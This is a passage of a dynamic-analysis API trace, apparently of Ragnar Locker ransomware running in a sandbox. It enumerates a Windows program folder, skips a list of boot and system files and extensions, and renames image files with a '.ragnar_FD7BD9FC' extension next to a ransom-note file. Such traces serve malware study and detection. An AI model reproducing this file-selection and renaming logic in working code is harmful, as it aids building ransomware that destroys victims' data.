lpString1=0x1ea746, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.929] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x81486a60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81486a60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0078.929] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.929] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x81486a60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81486a60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.929] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.929] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.929] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6faf8c48, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6faf8c48, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0078.929] lstrcmpiW (lpString1="1047x576black.png", lpString2=".") returned 1 [0078.929] lstrcmpiW (lpString1="1047x576black.png", lpString2="..") returned 1 [0078.929] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb1eda5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb1eda5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0078.929] lstrcmpiW (lpString1="15x15dot.png", lpString2=".") returned 1 [0078.929] lstrcmpiW (lpString1="15x15dot.png", lpString2="..") returned 1 [0078.929] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fad2aeb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fad2aeb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x43e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="colorcycle.png", cAlternateFileName="")) returned 1 [0078.929] lstrcmpiW (lpString1="colorcycle.png", lpString2=".") returned 1 [0078.929] lstrcmpiW (lpString1="colorcycle.png", lpString2="..") returned 1 [0078.929] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb44f02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb44f02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb57, dwReserved0=0x0, dwReserved1=0x0, cFileName="huemainsubpicture2.png", cAlternateFileName="")) returned 1 [0078.929] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2=".") returned 1 [0078.929] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="..") returned 1 [0078.929] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc29730, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc29730, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0078.929] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".") returned 1 [0078.929] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="..") returned 1 [0078.929] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0078.929] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".") returned 1 [0078.929] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="..") returned 1 [0078.929] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0078.929] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".") returned 1 [0078.929] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="..") returned 1 [0078.929] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0078.929] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".") returned 1 [0078.930] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="..") returned 1 [0078.930] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0078.930] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".") returned 1 [0078.930] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="..") returned 1 [0078.930] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbb7319, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbb7319, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0078.930] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".") returned 1 [0078.930] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="..") returned 1 [0078.930] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81486a60, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81486a60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.930] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.930] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.930] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb6b05f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb6b05f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_stripe.png", cAlternateFileName="")) returned 1 [0078.930] lstrcmpiW (lpString1="title_stripe.png", lpString2=".") returned 1 [0078.930] lstrcmpiW (lpString1="title_stripe.png", lpString2="..") returned 1 [0078.930] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb6b05f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb6b05f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_stripe.png", cAlternateFileName="")) returned 0 [0078.930] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0078.930] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x81486a60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81486a60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0078.930] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x81486a60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81486a60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.930] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6faf8c48, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6faf8c48, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0078.930] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.930] lstrcpyW (in: lpString1=0x1eab5a, lpString2="1047x576black.png" | out: lpString1="1047x576black.png") returned="1047x576black.png" [0078.930] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png") returned=".png" [0078.930] lstrcmpiW (lpString1="1047x576black.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.930] lstrcmpiW (lpString1="1047x576black.png", lpString2="autorun.inf") returned -1 [0078.930] lstrcmpiW (lpString1="1047x576black.png", lpString2="boot.ini") returned -1 [0078.930] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootfont.bin") returned -1 [0078.930] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootsect.bak") returned -1 [0078.930] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgr") returned -1 [0078.930] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgr.efi") returned -1 [0078.930] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgfw.efi") returned -1 [0078.930] lstrcmpiW (lpString1="1047x576black.png", lpString2="desktop.ini") returned -1 [0078.931] lstrcmpiW (lpString1="1047x576black.png", lpString2="iconcache.db") returned -1 [0078.931] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntldr") returned -1 [0078.931] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.dat") returned -1 [0078.931] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.dat.log") returned -1 [0078.931] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.ini") returned -1 [0078.931] lstrcmpiW (lpString1="1047x576black.png", lpString2="thumbs.db") returned -1 [0078.931] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.931] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.931] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.931] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.931] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.931] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.931] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png")) returned 0x20 [0078.931] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.931] CloseHandle (hObject=0xffffffff) returned 0 [0078.931] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" [0078.931] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png.ragnar_FD7BD9FC" [0078.931] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.931] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb1eda5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb1eda5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0078.931] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.931] lstrcpyW (in: lpString1=0x1eab5a, lpString2="15x15dot.png" | out: lpString1="15x15dot.png") returned="15x15dot.png" [0078.931] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png") returned=".png" [0078.931] lstrcmpiW (lpString1="15x15dot.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.932] lstrcmpiW (lpString1="15x15dot.png", lpString2="autorun.inf") returned -1 [0078.932] lstrcmpiW (lpString1="15x15dot.png", lpString2="boot.ini") returned -1 [0078.932] lstrcmpiW (lpString1="15x15dot.png", lpString2="bootfont.bin") returned -1 [0078.932] lstrcmpiW (lpString1="15x15dot.png", lpString2="bootsect.bak") returned -1 [0078.932] lstrcmpiW (lpString1="15x15dot.png", lpString2="bootmgr") returned -1 [0078.932] lstrcmpiW (lpString1="15x15dot.png", lpString2="bootmgr.efi") returned -1 [0078.932] lstrcmpiW (lpString1="15x15dot.png", lpString2="bootmgfw.efi") returned -1 [0078.932] lstrcmpiW (lpString1="15x15dot.png", lpString2="desktop.ini") returned -1 [0078.932] lstrcmpiW (lpString1="15x15dot.png", lpString2="iconcache.db") returned -1 [0078.932] lstrcmpiW (lpString1="15x15dot.png", lpString2="ntldr") returned -1 [0078.932] lstrcmpiW (lpString1="15x15dot.png", lpString2="ntuser.dat") returned -1 [0078.932] lstrcmpiW (lpString1="15x15dot.png", lpString2="ntuser.dat.log") returned -1 [0078.932] lstrcmpiW (lpString1="15x15dot.png", lpString2="ntuser.ini") returned -1 [0078.932] lstrcmpiW (lpString1="15x15dot.png", lpString2="thumbs.db") returned -1 [0078.932] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.932] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.932] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.932] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.932] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.932] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.932] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.932] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png")) returned 0x20 [0078.933] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.933] CloseHandle (hObject=0xffffffff) returned 0 [0078.933] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" [0078.933] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png.ragnar_FD7BD9FC" [0078.933] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.933] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fad2aeb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fad2aeb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x43e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="colorcycle.png", cAlternateFileName="")) returned 1 [0078.933] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.933] lstrcpyW (in: lpString1=0x1eab5a, lpString2="colorcycle.png" | out: lpString1="colorcycle.png") returned="colorcycle.png" [0078.933] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png") returned=".png" [0078.933] lstrcmpiW (lpString1="colorcycle.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.933] lstrcmpiW (lpString1="colorcycle.png", lpString2="autorun.inf") returned 1 [0078.933] lstrcmpiW (lpString1="colorcycle.png", lpString2="boot.ini") returned 1 [0078.933] lstrcmpiW (lpString1="colorcycle.png", lpString2="bootfont.bin") returned 1 [0078.933] lstrcmpiW (lpString1="colorcycle.png", lpString2="bootsect.bak") returned 1 [0078.933] lstrcmpiW (lpString1="colorcycle.png", lpString2="bootmgr") returned 1 [0078.933] lstrcmpiW (lpString1="colorcycle.png", lpString2="bootmgr.efi") returned 1 [0078.933] lstrcmpiW (lpString1="colorcycle.png", lpString2="bootmgfw.efi") returned 1 [0078.934] lstrcmpiW (lpString1="colorcycle.png", lpString2="desktop.ini") returned -1 [0078.934] lstrcmpiW (lpString1="colorcycle.png", lpString2="iconcache.db") returned -1 [0078.934] lstrcmpiW (lpString1="colorcycle.png", lpString2="ntldr") returned -1 [0078.934] lstrcmpiW (lpString1="colorcycle.png", lpString2="ntuser.dat") returned -1 [0078.934] lstrcmpiW (lpString1="colorcycle.png", lpString2="ntuser.dat.log") returned -1 [0078.934] lstrcmpiW (lpString1="colorcycle.png", lpString2="ntuser.ini") returned -1 [0078.934] lstrcmpiW (lpString1="colorcycle.png", lpString2="thumbs.db") returned -1 [0078.934] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.934] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.934] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.934] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.934] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.934] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.934] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png")) returned 0x20 [0078.934] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.934] CloseHandle (hObject=0xffffffff) returned 0 [0078.934] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" [0078.934] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png.ragnar_FD7BD9FC" [0078.934] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png.ragnar_FD7BD9FC" (normalized: "c:\\program 